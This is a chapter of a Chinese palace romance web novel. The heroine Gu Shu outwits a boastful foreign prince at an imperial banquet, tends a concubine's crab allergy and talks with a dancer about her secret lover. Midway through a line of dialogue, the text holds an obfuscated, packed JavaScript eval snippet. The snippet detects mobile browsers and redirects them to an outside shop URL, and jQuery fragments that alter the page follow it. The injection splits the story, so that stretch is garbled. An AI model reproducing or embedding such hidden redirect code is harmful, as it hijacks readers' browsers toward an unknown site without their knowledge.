43. 破例
    若乌巴拍桌而起:“你干什么!”

    谷纾一脸恐惧,像被他这样吓到,连连退后:“王子怎么了?”

    “你、你刚刚竟敢‘呸’本王子?”

    她连连摇头:“王子莫要随意诬陷,妾不过是打了个喷嚏。”

    若扎将若乌巴拉着坐下,若乌巴狠狠地喝了一盏酒,死死盯着谷纾:“你倒确实有意思。”

    “王子说笑了。”谷纾笑道:“不过妾要和王子说一声,《载驰》并非讲情爱,不是王子说的勾栏曲。”

    “好,那就请昭容娘子一解。”他此刻反而了然。

    “一解不敢,纾只略懂,大概是说许穆夫人为国嫁到许国,后狄人灭卫,伤许弱小,独归吊唁,即便道阻且长前路崎岖,还遭许国大夫千夫所指,许穆夫人亦未有反,夫人胸中有丘壑,于男子何有差!”

    “区区女子,若在我们西岭,多给她找几个男人就不会这么刚了。”若乌巴道。

    “兄长。”若扎似乎也听不下去,叫着他。

    谷纾蹙眉,面对这种人,让他做他最不屑的事情才能治,讲道理是没用的。

    这世上所有的道理只对懂道理的人有效。

    她眼珠一转,心生一计。

    “看来西岭的男子很是勇猛,不知王子比之如何?”

    若乌巴昂起头:“我自然是西岭第一勇士!”

    谷纾一脸不信:“王子看上去瘦骨嶙峋,莫不是吹给你我看的。”

    其实若乌巴并没有瘦的那么夸张,只是谷纾以此激他。

    “笑话!本王子的实力何须用嘴吹捧!”

    “若不是吹的,若乌巴王子为何不给我们展示一番?”谷纾不解。

    “这......”这明显就是激将法啊!若乌巴一时不知道说什么。

    谷纾丝毫不准备放过他:“哎,看来西岭只是嘴上功夫,无意思地很,还且瞧我南昭武士下一场百戏。”

    她说罢就要拍手要武士们上来。

    “展示就展示!我若乌巴可不是胆小瑟缩之辈!”他朝后面的人道:“拿我的斧头来,今日就让这些南昭人看看我们草原上的风采。”

    “好,若乌巴王子果然爽快。”谷纾心里狂笑,这么快就中了她的计。

    不一会,若乌巴拿着斧头,在空地上打出一套行云流水的斧功,他虽瘦弱,但脚步稳健,一场下来连气都不喘,确实是一名高手。

    不过。

    这又怎么样。

    西岭的人还在高呼王子的英勇,南昭许多人都沉下脸。

    毕竟皇帝御宴,竟然让西岭人出尽风头,他们一下不知有何脸面。

    只有谷纾拍手叫绝。

    “西岭王子挥斧如神,妾佩服。”

    若乌巴得了赞,更加得意:“知道本王子的厉害了吧!”

    “自然。史官请记,顺延五年,西岭若乌巴王子于陛下寿宴戏斧,陛下悦之。”谷纾说完便止不住地笑起来。

    南昭的朝臣一听,这不是将若乌巴王子当技艺人了,纷纷赞昭容智慧,有在谷詹旁边的,还不停向他道贺。

    谷詹却没说一句,以前他的息女,每天只用玩乐,根本不许经历这些尔虞我诈。

    她终是长大了,也再难回到他身边。

    一直沉着脸的姬良见此也终于有了笑意。

    若乌巴的脸一阵青白,他没想到这小娘子在这下套,只能气愤地坐下。

    谷纾又点起一把火:“王子可是因为方才做了戏子的活而不悦?”

    “你还说!”

    “王子不必庸人自扰,若您不将戏子看得那么卑贱,自然不会因此事而愤怒。我南昭的乐人优伶,百戏子,皆以自己功夫闻名,他们挣的钱堂堂正正,从不低谁一等。”谷纾道。

    “纾儿还真是朕后宫的女状元。”姬良大赞:“赏。”

    谷纾笑着谢过。

    她又拍了拍手,焰火绽开,下一场百戏开场。

    沈萋和谷纾皆退回席上。

    她好像有什么话想对谷纾说,只是一直欲言又止。

    谷纾看出她的窘迫:“你有什么想说的直说就好。”

    “我,我,对不起姐姐,都是我惹得祸。”她声音断断续续,手中的帕子拧成一团。

    “不会,你瞧,这不是给了西岭这些自负的人一记下马威。”

    “但这都是姐姐帮我救的场,否则......”

    “你既然叫我一声姐姐,就不用这么生分,你想表现,以后可以直接与我说,不必害羞。”谷纾继续安慰着她。

    沈萋点头,她想说什么,一宫人的喊叫声打断了她。

    “不好了,何贵人起红疹了!”

    谷纾一听,呵斥道:“慌什么!”

    这么大的场合,怎能随意制造恐慌。

    若是场面混乱起来,那又是一场压在她身上的大罪!

    她急忙上前检查何锦雁的身体,她此时全身长满了红疹。

    姬良面色不愉地问:“何贵人这是怎么了。”

    一宫女立即跪下:“回陛下,何贵人方才吃了几口蟹生便这样了。”

    其他人纷纷脸色突变,看着眼前的佳肴,再也不敢动筷子。

    姬良二话不说,夹起一块蟹肉吃下。

    “陛下!”宫人们叫道。

    他丝毫不惧:“朕为何没事?”

    “这,这,可奴婢方才看得清楚,何贵人确实是因为吃了蟹才会这样的。”

    众人没想到,谷纾直接夹起何锦雁桌前的蟹肉吃起来,随后向姬良道:“陛下,不是蟹肉的问题。”

    “朕信你。”

    谷纾抬眸:“何贵人应该是过敏之症,妾先带何贵人下去休息,招太医看看。”

    “准。”

    她安排的很快,不一会儿,场上又恢复了原先的热闹。

    叶居西阁,何锦雁的反应越来越厉害,呕吐不止。

    太医在里面诊治。

    谷纾看着堂下的宫女,气打不过一处来:“症状刚显时为何不报?”

    直到全身长满红疹才报,万一再晚些,这可是要人命的东西。

    堂下的宫女发着抖,颤颤巍巍地说:“奴婢刚开始看见何贵人手上有一块泛红,何贵人只说是小事,不要因此搅扰陛下的雅兴,奴婢便也没报。”

    她沉着脸,看着那宫女,屋内何锦雁叫着她:“纾姐姐,都是我不好,这才扰了你准备的如此精彩的宫宴。”

    谷纾坐到她塌边,见她腹泻的症状止住,稍微松了口气:“妹妹不必揽责,是我不知你对蟹过敏,好在你没什么事,不过以后吃那些虾呀、鱼呀、贝呀的海错食物都要当心,蟹更是不得再沾了。”

    “多谢纾姐姐关心。”

    “行,你好好歇着,待会我还得给今日上场的人发赏钱,就先去了,有什么不适千万要立即叫太医

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396345|141191||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,切莫讳疾忌医。”谷纾再三嘱咐。

    “妹妹知道了,姐姐且去忙吧。”

    她听此也不多留,径直去找了今日本要登台演那水袖舞的舞姬。

    还未等她进去,就听见里面杯盏摔碎的声音。

    “这宫里的人真是好大的架子,跳成那样也敢抢我的台。”

    她刚走进去,就看见一个长得风姿绰约的女子,无比气愤。

    “蓝音娘子莫气,此事都怪我安排不周。”谷纾道。

    那人美眸微张,看清来人,收敛了几分脾气:“昭容娘子,原先我是绝不入宫跳舞的。”

    她看了看四周,叫屋内侍奉的人退下后靠近谷纾,小声在她耳边说道:“若不是我家公子下的命令,可如今你们却拿一个跳成那样的宫妃来替我。”

    这公子是谁,谷纾自然心知肚明。

    “今日之事我也没想到,实不是我找的人替你。”她解释。

    蓝音翻了个白眼:“那来人说是你说的,好大的架子。”

    “替你那位沈才人说的吗?”

    “什么沈才人,来了一堆人,皆是些无颜之辈,我可没兴趣了解。”她话音一转:“不过昭容娘子确实生的娇美,难怪连公子都要为你破例。”

    谷纾微微一笑:“娘子可否想想那些人的样貌?”

    “这个嘛,有一个长得瘦瘦小小的,替我那个,应该就是你说的沈才人,还有一颐指气使的杨贵人和一副臭脸的女子,叫什么季......”

    “季美人。”

    “对,就是这个名,原本我是怎么也不愿的,她们非说得了你的令,来前公子让我们都听你的,便只好让那沈才人上。”

    “多谢蓝音娘子告知,不过那人确实是我妹妹,冒犯娘子实属我之过。”

    她将春倦和夏困叫进来,两人手中还捧着两托银子。

    “这些银钱就当是给娘子赔不是了。”谷纾诚恳表歉。

    蓝音看也不看,直接拒绝。

    “不收。”

    谷纾不解。

    “等下收了昭容娘子的钱,公子又要双倍还给谷相公了。”

    谷纾:“怎么会?”

    见她真是不知,蓝音好心为她家公子牵线:“昭容娘子以前在江仙楼和香满楼花的银钱,公子都双倍还给谷相公了,娘子不知?”

    她哪里知道!她那天不过一句戏言,谁知姬容真的去还了!

    后面的夏困也瞪大了眼睛,仿佛听到了不得了的事情。

    好在春倦还有几分理智,急忙将她拉了出去。

    “娘子和公子到底是何关系,我就没见过公子这么不顾大局的样子,听江仙楼那边的消息,公子竟然还为娘子授业,当真是铁树开花儿。”

    什么关系......

    谷纾也不知道,她的心思太明显,今日御宴上,她拿出孤松,就是偷偷地向所有人宣告。

    可他们这份关系终究是见不得光的。

    出去后她浑浑噩噩,蓝音的声音还在后面提醒她,让她好好想想。

    一晌贪欢不是长久之计。

    可她们真的有以后吗,谷纾不知道。

    夜色沉沉,谷纾走在玉雨园中,已经入了秋,天气有些凉。

    该怎么办,她想。

    她继续走着,黑夜中的白月袍格外显眼,她一眼就看见,想也不想就冲上前去抱住他。

    “夫子。”